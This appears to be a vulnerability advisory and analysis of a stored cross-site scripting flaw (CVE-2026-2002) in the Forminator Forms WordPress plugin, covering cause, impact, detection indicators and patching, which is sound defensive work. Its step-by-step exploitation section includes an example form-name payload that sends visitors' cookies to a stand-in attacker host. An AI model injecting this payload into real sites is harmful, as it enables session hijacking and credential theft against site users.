CVE-2026-2002: 
WordPress vulnerability analysis and mitigation

CVE-2026-2002 is a Stored Cross-Site Scripting (XSS) vulnerability in the Forminator Forms – Contact Form, Payment Form & Custom Form Builder plugin for WordPress. It affects all versions up to and including 1.50.2, stemming from insufficient input sanitization and output escaping of the form_name parameter. The vulnerability was published on February 17, 2026, and has a CVSS v3.1 base score of 4.4 (Medium) (Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), arising from the plugin's failure to properly sanitize the form_name parameter before storing it and escaping it on output. An authenticated attacker with administrator-level access can inject arbitrary JavaScript into form names, which then executes in the browser of any user who visits a page containing the injected form. Notably, the plugin supports delegating form management permissions to lower-privileged users (e.g., subscribers), which can lower the effective privilege bar for exploitation beyond the administrator role (Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, defacement of WordPress pages, or redirection to malicious sites. While the CVSS scope is marked as "Changed" (affecting users beyond the attacker's session), the confidentiality and integrity impacts are rated Low and availability is unaffected, limiting the severity to Medium. The risk is elevated in multi-role WordPress environments where form management is delegated to lower-privileged accounts (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of this report. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.022%, indicating a low probability of exploitation in the near term. Exploitation requires authenticated access with at least administrator-level (or delegated form management) privileges, which further constrains the attack surface (Red Hat CVE).

1. Gain Access: Obtain an account with administrator-level access or a lower-privileged account that has been granted form management permissions within the WordPress site running Forminator Forms ≤ 1.50.2.
2. Navigate to Form Management: Log in to the WordPress admin dashboard and navigate to the Forminator Forms plugin's form management interface.
3. Inject Malicious Payload: Create or edit a form and set the form_name parameter to a value containing a malicious JavaScript payload, e.g., Test Form<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save the Form: Submit/save the form, causing the unsanitized payload to be stored in the WordPress database.
5. Trigger Execution: When any user (including administrators or site visitors) accesses a WordPress page that renders the injected form name, the stored script executes in their browser, enabling session hijacking or other client-side attacks (Red Hat CVE).

• Logs: WordPress access logs showing POST requests to form management endpoints (e.g., /wp-admin/admin-ajax.php or Forminator-specific REST API routes) with unusual or encoded values in form_name fields.
• Database: Entries in the WordPress database (wp_posts or Forminator-specific tables) containing <script>, javascript:, or other XSS payloads within form name fields.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing Forminator forms (indicative of cookie/session exfiltration).
• File System: No direct file system artifacts expected for a stored XSS; however, review plugin configuration files for unauthorized changes.

Users should update the Forminator Forms plugin to a version above 1.50.2 that includes the fix for this vulnerability. Until a patch is applied, administrators should restrict form management permissions to trusted users only and avoid delegating form creation/editing rights to lower-privileged accounts. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Sucuri Blog).

Sucuri included CVE-2026-2002 in their February 2026 vulnerability patch roundup, recommending WordPress site owners update the Forminator Forms plugin promptly (Sucuri Blog). Spanish national cybersecurity agencies INCIBE-CERT and CCN-CERT also published advisories noting the vulnerability (INCIBE-CERT, CCN-CERT). No significant social media controversy or notable researcher commentary beyond standard advisory coverage has been observed.